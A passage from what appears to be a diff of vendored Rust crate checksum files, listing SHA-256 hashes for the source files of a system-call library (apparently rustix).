fcf55421228d82130b4","src/process/exit.rs":"48de66e5504a00cb375d8f415ce63b6225a3f5204268d40726a7d0fbba43f587","src/process/id.rs":"e4733f9e8e4b5f50e98ef7a23802e126f1f14ece8b3d7ae7446c6a66affc6bc1","src/process/ioctl.rs":"23ad0285671e8d7ca71a63c50655dbf732ccea8af11d754a0558e0236db37e76","src/process/kill.rs":"7b879e5cff8a064acd0e7488f4e21bd4e4a8506ce380688b72cc48d283ff9c89","src/process/membarrier.rs":"d6c8821ec73019040c926f4e1018f399c286e87074ab9c6692370c88772af044","src/process/mod.rs":"0ef104be820068409648ed83739a51a7dcf07612088f9a6ed6c7ebdb6ad54092","src/process/pidfd.rs":"4be2fba21430ba84244e11c636c91201bc1d1dffff3e63a4da84cc96f501786b","src/process/pidfd_getfd.rs":"cbc42a1548280ae76c3c66e851fd53cc2a3d4c089cb5798c17a2cdf654f0e229","src/process/prctl.rs":"3396b39a0f161385f02f6a4a17db0a3fcd2d70f4d6d2e1d8d1b9091b36d5704c","src/process/priority.rs":"f135482e71ea8aa0daf92b9f238051178a4c904070fa8409622f94155df3c544","src/process/procctl.rs":"0ca2f5fd4cd39335c141758cac132a3271e318c688f8882e527f58c02d5ab0e2","src/process/rlimit.rs":"10b79de3ced0e64059a94c879742d46a35a6176c776d8eed75031d5e6340283d","src/process/sched.rs":"7c3bfc5be624e7d7f5e043c3ee0b0566fcab3d684d61c272e7b4233410ab1c42","src/process/sched_yield.rs":"6565faa3928b66ddc74a65e893e15edfa4b9be4f7e5f5f68527501a7f6bc3350","src/process/umask.rs":"1a0f31a842303c978e3f05ec191e2b5e96104c09c6596473b42b1fac34898a50","src/process/wait.rs":"cef08e74f5d87df925fa6a6acc95e8de0e689fb420ba514b9fbf94a9ca403465","src/procfs.rs":"63b286dd3302be7f426841eb3b9261ef4785c3159ed78c24734bd5094c9b0b2e","src/pty.rs":"ee697b226230b65c0432a42cd82b2fad885ca70285dbb0a7b8ec0ff81d23e3a0","src/rand/getrandom.rs":"1c8166a02a74f5593bb4673ef907524df04cbc1568020a5ab2ff7f4aa1283f8b","src/rand/mod.rs":"cab59332aadd9b679f5b22cbb222d48ee028af5eb9fd4a4d43922da659b895d7","src/runtime.rs":"9aed98071bf8124c6913e8517b28ef63c7b88001042f0522d877ab65ac88099a","src/shm.rs":"b96fe8a05ee5d4536464a8843a776d43a938abaf22c772fc35b5373d95644a8d","src/signal.rs":"c071b4f011deef19a679d7a832d5408a3cd68627161d6510008d6312266a2611","src/static_assertions.rs":"39986672f489949be1d6469f0c30fb7d2eaa21bdaa2702a8c150b2b150bf5535","src/stdio.rs":"a5de2d7d9c3c5a901f88b6acf4754687c958a2f3a93c7945c2b8fcb948d468af","src/system.rs":"e594c16b4600a8ebea01c5850cd9e1521acf242f1a9f083403cfe95adcde4679","src/termios/ioctl.rs":"a1ac967f7811a482f8bb53847c37c8359f518cd26da9df7b816ba678a0139623","src/termios/mod.rs":"b44b7caa60b6f458657ed58a0e0eca41bb4e6d6be4b0f042bbb8ab7056cebe4b","src/termios/tc.rs":"e41312d15464b83b2457c2502fc3f3b9998cfb02ba68739026dd4285cc7130ac","src/termios/tty.rs":"906ee160ffb5ba3a92ea3a61374cf2cd617cebae51f5490073b6700c438d5eee","src/termios/types.rs":"8c4f029e8dbb9b2c59082bd13d628a741f6f0a31f5ecf485c93795b73c1daeca","src/thread/clock.rs":"469326c822dfb63405ee8537552cedde0b344978280e6645bbadd47dedc71e18","src/thread/futex.rs":"985f9a0dce1e2a4892ae7f26bd1bf119ceae3f9fa6b4707e166624fc1cee76d4","src/thread/id.rs":"ad72db4fea9fccb728310bbfd01ef8c00f6cc60fa2a750f6349646a134f7009b","src/thread/libcap.rs":"a3e316e6d0f58b075125fa939b9b824e1595de20a23d341a36999416b0d10d36","src/thread/mod.rs":"98634ece0b882f123ad887017692f2a4d94a23a1dec278ed660b3497cac5cceb","src/thread/prctl.rs":"10e2878ef856557bc5bd24c77f5699266e746f912e73690980371cc99c7417e8","src/thread/setns.rs":"730badd8db8ce7b905767b341211f1226eeeb38019727bf994eb64f2531b7b7f","src/time/clock.rs":"e59a29f1bed8c31c3d5b6fad60f2d4fa6cab8dd8e86148bb3693a5e3a1ce735f","src/time/mod.rs":"43afee938c80d124d04d4ba190c03f4d21d1e3bfc154fff309211e4f6eabe940","src/time/timerfd.rs":"f17092b84553741aa2d2b44c6992b5d2c8c96cc2c2007fc9a2c6b2064485e53f","src/timespec.rs":"32a4d930cbc0f6dbd23153290db920671cf4ce65a4a127e176f897c1cde42d7d","src/ugid.rs":"6616c6e35b7e43aee5b150f1efae7a50711e0947943c9a96833dbe214ad9e85f","src/utils.rs":"9ae76f8a41d6cc350cdd58c9084b5c3a5a708eeecd769783debdbcbaef442182","src/weak.rs":"c7cf03bf2aeba494b1999ab32183fa8c603ab72e254c0e312a67f168877e410d"},"package":"745ecfa778e66b2b63c88a61cb36e0eea109e803b0b86bf9879fbc77c70e86ed"}
+\ No newline at end of file
++{"files":{"CODE_OF_CONDUCT.md":"f210602311e3f74b32f46237fd55f4ce36d798e85e3db1432ec667f63a7ffc44","CONTRIBUTING.md":"3fd57de5c678db1c972da676a8231d2fde9820695ef1f0d53f1e55a3e81d9de0","COPYRIGHT":"377c2e7c53250cc5905c0b0532d35973392af16ffb9596a41d99d202cf3617c9","Cargo.toml":"c994094b77085196394cd7cc03161f4810af7da799cfb40c696973e912929a8f","LICENSE-APACHE":"a60eea817514531668d7e00765731449fe14d059d3249e0bc93b36de45f759f2","LICENSE-Apache-2.0_WITH_LLVM-exception":"268872b9816f90fd8e85db5a28d33f8150ebb8dd016653fb39ef1f94f2686bc5","LICENSE-MIT":"23f18e03dc49df91622fe2a76176497404e46ced8a715d9d2b67a7446571cca3","ORG_CODE_OF_CONDUCT.md":"a62b69bf86e605ee1bcbb2f0a12ba79e4cebb6983a7b6491949750aecc4f2178","README.md":"58d2ee38dad64ff142e98872860b282b36a09076df537af57aba39d675d84a28","SECURITY.md":"4d75afb09dd28eb5982e3a1f768ee398d90204669ceef3240a16b31dcf04148a","benches/mod.rs":"e260e67273aa0a37cffdc5cd451699335b8ee656c17275a0d0f2b4563c6018ca","build.rs":"5f93559819ca7fe233f01579d51ff5b58cb6e96ef9e7817a3358a9b410d5bbf6","src/backend/libc/c.rs":"22550be154471f160ebfdb9e7b45a1e06452ec426a8d70b23a648a069c0216f4","src/backend/libc/conv.rs":"c4b4a6fdcf2f9295ab0498229a780942b031a2847ddf2466f90884bfb30255f8","src/backend/libc/event/epoll.rs":"f35eb0fddf9c4327551e1995f109a537f9899b9231e914671bdf26b616048370","src/backend/libc/event/mod.rs":"7f8547c599b8263eb791890bbe4a0b22fe2676d007ffdcc3e07b2e48d1c994db","src/backend/libc/event/poll_fd.rs":"06e2ce2fb30a45b90279ae753a67085e9f818a1b16d99cc92c525e2c46d61d51","src/backend/libc/event/syscalls.rs":"295a930521b345192caaf916b39189299f81f5f7c9f1aaed235baf3bf6f2f5fa","src/backend/libc/event/types.rs":"09e813690f44752708485e5a5ee59a43834a4a3e9577f2739b310c3ea8b4b64e","src/backend/libc/event/windows_syscalls.rs":"ebfac665c6676c4b803134ab8806be8aa2e96bdbc7799a19c544cd9069b35787","src/backend/libc/fs/dir.rs":"6f9526714c525e219399371d5acbe2666f0ac3ee88f73dc03fb31cf195ced95d","src/backend/libc/fs/inotify.rs":"f4e471484c4633dbb91c875ba8df87b687dd174cc45fdd2a1f717ffcb1591b00","src/backend/libc/fs/makedev.rs":"89c679a0ef18dd41b3c6223bce0f329ad35bf6cadbf16e47b33fad3f312ba4a6","src/backend/libc/fs/mod.rs":"576b6fcce723fcd5fc76637abd3b3565b00ca0bac309b63aecd6b8ee005fa81d","src/backend/libc/fs/syscalls.rs":"bba2a6a475fcd980f9352007f2b0b74b97abffe9d025e4c311e6f1f2f84eee3a","src/backend/libc/fs/types.rs":"20618e1a675fff5a8d2f08b4278425a3ec5c43d83518a5cbf3a934f135709a7a","src/backend/libc/io/errno.rs":"048d4350b9836fb9c9400127509705835a4992da86410e33a9e67cc43e22f35a","src/backend/libc/io/mod.rs":"746647bd864e4ec7717925b6d176cebdb392b7d015070244cc48d92780351dd6","src/backend/libc/io/syscalls.rs":"380d9be17ec7e46fdc24682aeae6410dcd8b10fd129090b479bb8ee405d9b5c6","src/backend/libc/io/types.rs":"8df53d41d72a39f334ed124707cb501e83b3624b769c80b78c62bd45179bc04a","src/backend/libc/io/windows_syscalls.rs":"fab3fa099aa89cea56a6edc651dd37750e581534f4f45b04a7e425f130b08468","src/backend/libc/io_uring/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/libc/io_uring/syscalls.rs":"5af8146d5971c833e6fd657f652c618b31f854e1b0811864fba9b658cb633e19","src/backend/libc/mm/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/libc/mm/syscalls.rs":"9b7c383f8ef1e258800c9797abbcd45374b97b6680637b1a247cb93878213b5a","src/backend/libc/mm/types.rs":"a427ff490880e92f1ddaa4aea55bb3ff2f43bd29712a6af09b25be2984ecb3e1","src/backend/libc/mod.rs":"2b396834f47b8771d2274eaa2632fbecebc17316d20f26d5e94f060bb8796f7d","src/backend/libc/mount/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/libc/mount/syscalls.rs":"1bc87501a078616d0190d2e85de55f3f968b8cb79d49bd9eb839a350eed26089","src/backend/libc/mount/types.rs":"8e2b66822cd1148e5fe4023f5608f36afb0d47bad454db9560fbca4b0dbd2b6f","src/backend/libc/net/addr.rs":"b6644e0169c6681084704e9ca231863364d81e3d3cb5d3689e0df8acf7b4ec16","src/backend/libc/net/ext.rs":"0ec74196ace553c9bff355e2e35ad3b70cab46e32f8f7194715e4528fe1f54bc","src/backend/libc/net/mod.rs":"4e2d6c72bef19985a2935e7891288f0045d1ff1287ec50492882b4dfbaf0fea3","src/backend/libc/net/msghdr.rs":"f82825d40d8872e2e804cde32bbcc68bef43a5f48ad857fb1030550c4eb44838","src/backend/libc/net/read_sockaddr.rs":"af90cf19e2bebc04976b9ac97010c38db91dcd90fd81b48a14528d45be97fe20","src/backend/libc/net/send_recv.rs":"52ee998bc8422a074e5105607440631e569e531caa7d356157529c3ddb07b684","src/backend/libc/net/sockopt.rs":"c1e9974478f027d9053fed5b4f28e6dce49dd15f05e1ed574cb4eddf1be47b7c","src/backend/libc/net/syscalls.rs":"b876541609622003a9e8cd2787ecbb93b0a155cfd61914c043ac2401ed3fd923","src/backend/libc/net/write_sockaddr.rs":"14e941b5a11e4d7a17182860c47b1ee972b56ff7f0aadbcc6ab2c8740b13cea9","src/backend/libc/param/auxv.rs":"fdc85b7c33bcd05a16471e42eb4228c48c98c642443635ba5fc3e9a45438d6d3","src/backend/libc/param/mod.rs":"5234b8f1bcb886cca6ea003d411d75eaeebe58deedd80e3441354bf46ed85d4d","src/backend/libc/pid/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/libc/pid/syscalls.rs":"49ea679b96c0741d048e82964038f9a931bc3cf3a0b59c7db3df89629b9c49e6","src/backend/libc/pipe/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/libc/pipe/syscalls.rs":"8affde100f6a9dfc762b79d1e48be5c1039be414f8ef7d5a6acaba882a68d259","src/backend/libc/pipe/types.rs":"1e797beb383bb2e4038f1de21bea204caec4a4922b25a6ef84dbbe6e953e78b0","src/backend/libc/prctl/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/libc/prctl/syscalls.rs":"8a2684f444a7555098dce2b92270d81cefdae902716c6e5d59bd7b0657e8a29d","src/backend/libc/process/cpu_set.rs":"b3d36b01b53b0b6c61a20ed8a69d48eccdd90cc17f82f2926ef1e844f002d0b7","src/backend/libc/process/mod.rs":"d7dc401255bad2e55ffff365339cdc3aad306861d269ad727a817d3cd7763166","src/backend/libc/process/syscalls.rs":"17b7eab2e0ea2898d41ec4e0d2a84baf57eae9f6e3e016e6b74f0e174440cffb","src/backend/libc/process/types.rs":"c26796486e9f9e7bbc44715ecaac285eb808fd9a8c08d237b2ac19f34954d608","src/backend/libc/process/wait.rs":"0cc556aed976b4bbb3965f74fd76b8216c755fce25043b7b21ce54afa07c9773","src/backend/libc/pty/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/libc/pty/syscalls.rs":"699a4c325fc590b8b5dabfe5a9ff386809be14dd24bf35aa6ef581b2bd75457b","src/backend/libc/rand/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/libc/rand/syscalls.rs":"78c7201e6bcb75e9cab9486d1878861319f865de2b2c46437be68690bd17bf13","src/backend/libc/rand/types.rs":"7763e6b40e4b9df825fdd2aa5ba1770da999137d04776561167116c58f8fa618","src/backend/libc/shm/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/libc/shm/syscalls.rs":"60d797d4e85e08e6330e6b8d80094356ce377e5484952f88ae2a6e49231c268c","src/backend/libc/shm/types.rs":"be4034353ab434568053260712fa5f55ed6d8a1a9fae64fa4fe1ea4f2e82120b","src/backend/libc/system/mod.rs":"38563ea68829ca5a4b1b0695ac8a5c05718e85bdc88a36dc805efdfce45d3909","src/backend/libc/system/syscalls.rs":"4c632a6d59fef0bb516d89f119f7f37aa18f8a75f63aeba73d71c464473874cb","src/backend/libc/system/types.rs":"6871e16aee14fe2ae03cea798c3e509ffe44778a9c0e5608fd73e2e015876d7e","src/backend/libc/termios/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/libc/termios/syscalls.rs":"19c3a0cfd146ada30e04bfc6b8bc8cc2319890851c803fa0024ff05085137151","src/backend/libc/thread/futex.rs":"b666828653b12634bbd7fd709acf69641b648ec40962a1d4f904c5db14d2eff5","src/backend/libc/thread/mod.rs":"fa710053974d7f16a6c49242ee6c10a3b9e1143452b9daeaed8837302a679fff","src/backend/libc/thread/syscalls.rs":"120cb13fe7ffdef7a52ca1d141d31bf189176e9f5862f87bb171d54370a682a9","src/backend/libc/time/mod.rs":"38563ea68829ca5a4b1b0695ac8a5c05718e85bdc88a36dc805efdfce45d3909","src/backend/libc/time/syscalls.rs":"f82e0725c5af8a52e61ee83aad2c77694f2f7a72ac1e6eb284109a70ac6edc38","src/backend/libc/time/types.rs":"d4e55d2b9fb8de772c8bf5bba157472c49a12c25502e62a9c599a2e6d3196a5b","src/backend/libc/ugid/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/libc/ugid/syscalls.rs":"8edf91b8790add23902c9f5418da6b0723a371677f29f490e0c8af852f0f1a0c","src/backend/libc/winsock_c.rs":"3bf3884fd250eca806ffdf96da68e29c133a697810b78b333ea449e523e58562","src/backend/linux_raw/arch/aarch64.rs":"2a255c9135bc8a321c180f52b88eb2b158bc9170cd222149caeae63c24587d44","src/backend/linux_raw/arch/arm.rs":"165bccb5883d0136e55d42091183765f83d86e9d37a7cb2cec9ae8af32774db6","src/backend/linux_raw/arch/mips.rs":"24af364aa93fd4b9917639d473336490a143f0d1723b09f388e72d534160ee51","src/backend/linux_raw/arch/mips32r6.rs":"e436a2ade34f2f7c58b8924462b07a2499dfc951e1e1318d51759444fb8b658e","src/backend/linux_raw/arch/mips64.rs":"897da9ddc877963ad59464d7f81dc59df8a7e91251e6adea14cfd946e2740a1c","src/backend/linux_raw/arch/mips64r6.rs":"3c08aea13c1139fb0dfbe74ca3d0147f007c3aa2eda641afb82c46f6aa4f6cd1","src/backend/linux_raw/arch/mod.rs":"37eaeea601d39be00d170856a31a8ec6a27b0d3ac22ab3ee642ab0e45dee237d","src/backend/linux_raw/arch/powerpc64.rs":"dfb001f8636a5e46d728900b0804fe6c374e5e18a6f0e76d7d62e0c07da74477","src/backend/linux_raw/arch/riscv64.rs":"41d33242d941030f46077dc2b1bc4c7913fe7630d693a5a7eef966bcf38f9d8b","src/backend/linux_raw/arch/thumb.rs":"2fd979ab421248c0a4c592bc0cefee63edc26528f469b71b63eaed35356e42e8","src/backend/linux_raw/arch/x86.rs":"81c73c0a13925854b54db754f533dec565b1db2d9586e210a2450c6f5915171d","src/backend/linux_raw/arch/x86_64.rs":"e929036a1f3cf93ba538f4523b241605cc7b5e61f84ffe6d9d5cdbcb6f73e543","src/backend/linux_raw/c.rs":"74cdf34fcd5bba9628c04585fa13721073e2bffe6740315c7655d1a55150230f","src/backend/linux_raw/conv.rs":"3b452e19c6b8285df205baa790e19f32061952ae7c7c4e39ba01726de6beb4fb","src/backend/linux_raw/event/epoll.rs":"18980136ee6d3e327d6c46a33306fa934a80eaee609a329098935569507440d0","src/backend/linux_raw/event/mod.rs":"72e46b04637e2d1d2a6b97af616144995399e489d1fe916faf835d72fc8c64cd","src/backend/linux_raw/event/poll_fd.rs":"78d040f7ce0574fc18cebf6b7766c210a3254abdbafe175f51c6b460fa19c514","src/backend/linux_raw/event/syscalls.rs":"8782cdf978bff0773bf5f35c1056d5c29a40742cf6f99d9606d951b52596cd34","src/backend/linux_raw/event/types.rs":"2ffdcb728587dbc25d302527f4a52296b96013d5199c946291b059ba4f7d466f","src/backend/linux_raw/fs/dir.rs":"c675dc5413428d2defd6752e99d210da83639779e853db209de6a1c08d35e0e7","src/backend/linux_raw/fs/inotify.rs":"42a6ed7b091eee20d7fd9becfea240deb99d0b8ca3e8e083cf365d484d8eeeeb","src/backend/linux_raw/fs/makedev.rs":"c6b4505c4bcbbc2460e80f3097eb15e2c8ef38d6c6e7abd78e39c53c372139e2","src/backend/linux_raw/fs/mod.rs":"8689e46f9c4c3e1190ae5fe39176c573cccac10b3739472128ca237f41e2686a","src/backend/linux_raw/fs/syscalls.rs":"a4512f58e2ef01bf0799c96fa7821284866b6826594642565f46d93e566e2e12","src/backend/linux_raw/fs/types.rs":"c015cf3cde945ad4a42ec706c6e1140c7342041ace1da6e0ef1bbf5e9e019ce2","src/backend/linux_raw/io/errno.rs":"8f15d735435b722466696094aed8b612b8526658ab7e079f386037cf8a3b1a6e","src/backend/linux_raw/io/mod.rs":"7ae2324427892cca6f5ab53858d847b165f790a72ec25f3d99fb15f0506c9f27","src/backend/linux_raw/io/syscalls.rs":"026f99b397ae521ac4b2ba41acec6547018073a9da5fa355aa8f9ac61298c172","src/backend/linux_raw/io/types.rs":"0cfffdc2fc9c33faa4055f9686db5922676f17d5c069362bae3745f39da3594a","src/backend/linux_raw/io_uring/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/linux_raw/io_uring/syscalls.rs":"0f7c9cb7ccddf5687e4b9e5b23558871a452a29ac6095a0184a06c47b9b18eb6","src/backend/linux_raw/mm/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/linux_raw/mm/syscalls.rs":"7d43752e8abaa8cec02cd3329e08303c56a9e6ac97aec447293397b9953c3ba3","src/backend/linux_raw/mm/types.rs":"4407b4b54c4048bb1d4e702575e20037c24483a22f6a5cfcc940e4738fcff381","src/backend/linux_raw/mod.rs":"bb26fe4783f834a4624c99ecf9e4ea8fa4d1c7fe9adfb6d7310fac689e7797bc","src/backend/linux_raw/mount/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/linux_raw/mount/syscalls.rs":"3947261b5d46b9737f02dc5352c3a3a35c63c461fd75bcd8ae6619dfc0bfb54d","src/backend/linux_raw/mount/types.rs":"8d39c4d6e555c88de5da3115a301562fafdcb3942aa69a0e01d42de8edb1c78f","src/backend/linux_raw/net/addr.rs":"fbb6c071a8ebc2c557c7013d36d4b540c1ff6ed63103d0a8abcacd8977fbf5c8","src/backend/linux_raw/net/mod.rs":"904b2ccd4228ebcda25db0223b92fb03e4042bcc7b0a202f19410a8a5ff517a5","src/backend/linux_raw/net/msghdr.rs":"3198339ccd00224aefdba74e9144818fe387222066a387a9dfd95fd8c48cf9d9","src/backend/linux_raw/net/read_sockaddr.rs":"24075ac4c05fab5fe44aae4445cdd12ec7e474f047150baa9b768741d6b9693d","src/backend/linux_raw/net/send_recv.rs":"85b1a78ecc920e919ce7a0a9f7ad79cba5ad09af4f53018df8c46c7c112bd7a9","src/backend/linux_raw/net/sockopt.rs":"2ea8625ecd68a799c14ed48dec2f3e01f085222b6cc36f4916b20143e08ae575","src/backend/linux_raw/net/syscalls.rs":"eb897e0074ec53c5b18594c39cbb9ec5bd796c9120bf029f0b05145a7eee1804","src/backend/linux_raw/net/write_sockaddr.rs":"0eeeb7ec8dadf95503a2f89fdc933b8f9c7e45e03fdb343ce490b6cc8eec0f96","src/backend/linux_raw/param/auxv.rs":"c1b1a628d6c51ce8adc981f58c6e08abba4a151356ff98cdbc0b3e75abeadb8a","src/backend/linux_raw/param/init.rs":"a5024f9afe361884f22fb4d65e632ccd8a60f1138ff6bd526df600d40e0d9b7e","src/backend/linux_raw/param/libc_auxv.rs":"e567f471ab21068141acb9fb2f88b9ba553f630945bc8f01b689955b48414512","src/backend/linux_raw/param/mod.rs":"2e6a1a1c00351b9c88bd615aa923f71d76208df5626dd9bea03067f28f81dc31","src/backend/linux_raw/pid/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/linux_raw/pid/syscalls.rs":"eef6aa01830ddd510b83f507da2002c03e58318b73744be2c06ebbe33c4f194f","src/backend/linux_raw/pipe/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/linux_raw/pipe/syscalls.rs":"366c730fc3e991bddb9f5a15b8c3917a8e6ace6d1d5a9113b2749e476faf6f83","src/backend/linux_raw/pipe/types.rs":"9d4bd3da7cd078d42574ad7d6b7554e301a1a7e97b292a77993a6d263726ef1e","src/backend/linux_raw/prctl/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/linux_raw/prctl/syscalls.rs":"a18b224307e0d27bda9b7b85c75cd6c7ddfe39f5ce52efb7bb0bf0585b757343","src/backend/linux_raw/process/cpu_set.rs":"dfdcbdf35aff6a3e08e7d38193bf18c12ca8aa64eb0dc417667be82dcc0f7c55","src/backend/linux_raw/process/mod.rs":"fb393c70a9c63ef9a6bf1fb5a2dc94f07d6b0b6987cc5231c15c607015dafd68","src/backend/linux_raw/process/syscalls.rs":"3730c155663d727d5b239f57f220727ef33dd257e74a1b697274de0f94e1da79","src/backend/linux_raw/process/types.rs":"6811ba822bc12a1a6336649151b4adb1f5d3365684a31c07f01953ea9547743d","src/backend/linux_raw/process/wait.rs":"921aee4b0048746087f52615a98edc2aa0fb4b53d6df44be4533098df55d1b05","src/backend/linux_raw/pty/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/linux_raw/pty/syscalls.rs":"ae09c4aecc0ae87b1ca58d82efc58007b9dddaae78460d615f48da19d1cd0f89","src/backend/linux_raw/rand/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/linux_raw/rand/syscalls.rs":"a84f70251672e92f253838bf05e989434f67373233e88d21d8835cbb792b1fe3","src/backend/linux_raw/rand/types.rs":"b7217c98f2da4ecf89225f36eb52c396ba2a73debdeca739ba864a9030b6a23d","src/backend/linux_raw/reg.rs":"39b6234971122d247054bda8c2dc3b44493be30482635baa9e2fcbe048e78cbd","src/backend/linux_raw/runtime/mod.rs":"b2cae8cce3822c3c92942f06ea0b68464040dcac33c6f0f7ee392c6269993347","src/backend/linux_raw/runtime/syscalls.rs":"fc9c9edbe07dd7644ab75c51a1597a31467a3421301503a072bef93e6df07643","src/backend/linux_raw/runtime/tls.rs":"6316060560a112c2e9cd9807cdba6e8c91414113a04a739160929ae9a67bba1f","src/backend/linux_raw/shm/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/linux_raw/shm/syscalls.rs":"3ebf91610b02de0312e1f0f0cc5d56e12b4d93794540087b3182cbdf3cb9c8db","src/backend/linux_raw/shm/types.rs":"76f587e0edc78e3b780b66ddf9bdf56d5bcb57822111e9f8f66a7eec07c2c0fa","src/backend/linux_raw/system/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/linux_raw/system/syscalls.rs":"2af6c2672a6528b404b52f501d9803a63e9f47886d3b5d2d2dc5a71cefa7327a","src/backend/linux_raw/system/types.rs":"1ceab8d738a71043473b26e97fa3fd79d588a86d4774cbc9b9e1d4f1447a016e","src/backend/linux_raw/termios/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/linux_raw/termios/syscalls.rs":"01c4c8028595d8f53197ac3f2accb83057cb80fb5f78db63bbf85eb46d40e1c9","src/backend/linux_raw/thread/futex.rs":"0aa0f9f5be6a79de81e82c9f11f1bf8831f682a4b2f6cb29669e1591636f084e","src/backend/linux_raw/thread/mod.rs":"6ad4a4b90b9234e79900b27ebbe8837e3a7a36aec532912e3e253edce5225067","src/backend/linux_raw/thread/syscalls.rs":"0e3dca63be7322e1e9c58456b28eb8548abb9f08b4436b87b139e891c01c446d","src/backend/linux_raw/time/mod.rs":"672724f55b7b7be6a7452bb1cc2d28b5f0aaa840a2856fe363acce624e1beefc","src/backend/linux_raw/time/syscalls.rs":"451da0bbb66accdf58ee7f2f8746a93b22ee985907a08717a3d3b1650457d878","src/backend/linux_raw/time/types.rs":"56cb936dc36af759e06d0b7bcfa7db02818dff6084c1d1d9a538a6d5945032d5","src/backend/linux_raw/ugid/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/linux_raw/ugid/syscalls.rs":"8c86d251db33b399a1d1cbb8e87afe650b78db84f444d3251309b7a0480b54f7","src/backend/linux_raw/vdso.rs":"056314f72c71d4b041739337ca2098afb7fe070f844327f462c293f43481b75b","src/backend/linux_raw/vdso_wrappers.rs":"6bd4b8c15761e16defff7d2eed18c008c9f980ebee6c9bdc2e104b16b9b7c631","src/bitcast.rs":"e21c87c292c781b27256c6f5dcf9fd52dd69ed6e21016cbd67ac31a8219ebf8e","src/check_types.rs":"bc31f9b293bfbf272284ed4d0da24e941206a1ac3f18d3abb0b1a61f1ede1dae","src/clockid.rs":"1d2e1cfcf23160b55d6b046d235edf2eb2408f072a8bdef3e3a3871885abdd5a","src/cstr.rs":"41af2a4429fe6c67a8883f8a8f63d66c90df566abda74fd2b03bcef7b9f24218","src/event/eventfd.rs":"81cbd08f7bdf40a6ce1ca692b63da1dc8ba925282990668d9d68f1203e839fa1","src/event/kqueue.rs":"f13f40b97c4413902115408fc2f340e7c82bba42d2468015b007e8ac6ef23132","src/event/mod.rs":"326a7ddfeb33bb95dd31391d65f400fa622e5d0ab827c096cab16af4b6843b51","src/event/poll.rs":"0ee583dbd457a573a82a06c04a2a24bd2c76e751d27a435507d55338e2871327","src/event/port.rs":"4e51ff150e5d17cbd44aa64a38b99c15e26eaaf2e350768b5dcacdfde4fa5212","src/ffi.rs":"c2b8b38c02d72749aceb715c496726caba1f1fa989ad3856d0103a2fafed89ed","src/fs/abs.rs":"6f0b57878f61c009fd0a3698a3983aa8076ba4fe3b5c28feec0307d65a77891c","src/fs/at.rs":"9b5f35afcaca9dd19d501cee3ad305b1d1c1b588c5fd925b18b6d3b614f05011","src/fs/constants.rs":"24076a01f8bfc126b0905e9bc0521d2c3a3abc6c3b8c86ddb1e545070d097127","src/fs/copy_file_range.rs":"d3b644374390d482b2ff749a2459458872b57d0dcf9670368739b7833509a7c2","src/fs/cwd.rs":"9f429a79ace6e17455634da09216ee0ad3d067a4541518b3193ae6a8d9ff1e26","src/fs/dir.rs":"347a52f4ca9ac6321c52e802e97ec90d1b4c62ec955c8996fc17f8f5aed69966","src/fs/fadvise.rs":"beef66ebe1310fb92628240b2cde68f744c78e50f6ff61bb1404bd4868d9cae8","src/fs/fcntl.rs":"2085102d05d0ba963e100ab3e3f19dac4ff27d142fbf798626d20a2a596ba96d","src/fs/fcntl_apple.rs":"e2f23f038083621bcdecc98d02ce1023508afaecdb2ed0fba5c8b70f955301e5","src/fs/fcopyfile.rs":"ec95929cbbe02cf49233a785e5238931bb107b7903cc5bc95e4231de960995f2","src/fs/fd.rs":"68d19bb99da0444444acbafd27ba10a69fc2ac35ede4e0106ac2043c30ce4f8f","src/fs/file_type.rs":"fefd865f91011f66126213b0994773d99e373b468c31e866002228c98c64ad85","src/fs/getpath.rs":"28f6970fc1bbc37bb35c84724b59eac436ea7407a4522e18c2bdacb1fdd2edd9","src/fs/id.rs":"1b5c8a8baf9a9bb1f895f97189cea4e5982a0d35b192afeec6340a6c6222e0cb","src/fs/ioctl.rs":"71327efab1e73c7844c681ea7e822b5124738196b2fc687aabc786b90be9fe32","src/fs/makedev.rs":"85520b484cb7c15ab71ea1c368578ea3b7e484d82f8510db92b6ce9f7ca341ae","src/fs/memfd_create.rs":"15a8f28e040cffd8c24c7903483440f88853b2e538ad48d80f3c00b4b2befdea","src/fs/mod.rs":"ecd20bf01d651b1866b198c4fc0dc8e7d681eb581e28708c8a0abd062de137ce","src/fs/mount.rs":"8f6ea2b997dd83c50c90291b9ada3ed77a9ce1ad701c9b0d533b5113b317be5b","src/fs/openat2.rs":"4a